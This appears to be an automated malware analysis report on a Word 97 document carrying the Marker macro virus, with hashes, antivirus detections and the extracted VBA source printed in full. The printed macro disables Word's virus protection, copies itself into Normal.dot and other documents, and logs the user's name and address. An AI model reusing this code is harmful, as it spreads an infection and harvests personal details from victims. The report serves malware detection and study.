Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 12529a6297cdfba3…

MALICIOUS

Office (OLE)

29.5 KB Created: 1998-11-30 17:16:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e149243b71410b1d490967e428daf243 SHA-1: 4aafa6bb9c0f301b9cf9aeb97b6dac4a230d7a2d SHA-256: 12529a6297cdfba3c3f180d4c2c2492cb23214c7f518be364b89d77de37a615a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a Word 97 document containing VBA macros. The macro code attempts to infect the Normal.dot template by copying its own code into it, likely to achieve persistence. The ClamAV detections further confirm its malicious nature. The specific macro name 'WM97.Class.spooky.b' is included as an IOC.

Heuristics 2

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9069 bytes
SHA-256: c5f2a85fac5fd74d44bc2f0cc7c9f69917089eb5066d42270af98ba9972fcf76
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub


' 09:08:36  - Mittwoch, 25 Nov 1998
' SPo0Ky
' Blue Planet
'





' Processing file: /opt/analyzer/scan_staging/384f32649f784c4db9e2415a5f8a6071.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4852 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' Line #4:
' 	Dim (Const) 
' 	LitStr 0x0014 "<- this is a marker!"
' 	VarDefn Marker
' Line #5:
' Line #6:
' 	QuoteRem 0x0000 0x0011 "Declare Variables"
' Line #7:
' 	Dim 
' 	VarDefn SaveDocument
' 	VarDefn SaveNormalTemplate
' 	VarDefn DocumentInfected
' 	VarDefn NormalTemplateInfected (As Boolean)
' Line #8:
' 	Dim 
' 	VarDefn ad
' 	VarDefn nt (As Object)
' Line #9:
' 	Dim 
' 	VarDefn OurCode
' 	VarDefn UserAddress (As String)
' Line #10:
' Line #11:
' 	QuoteRem 0x0000 0x0014 "Initialize Variables"
' Line #12:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set ad 
' Line #13:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set nt 
' Line #14:
' Line #15:
' 	Ld Marker 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld ad 
' 	MemLd CodeModule 
' 	ArgsMemLd Find 0x0005 
' 	St DocumentInfected 
' Line #1
... (truncated)

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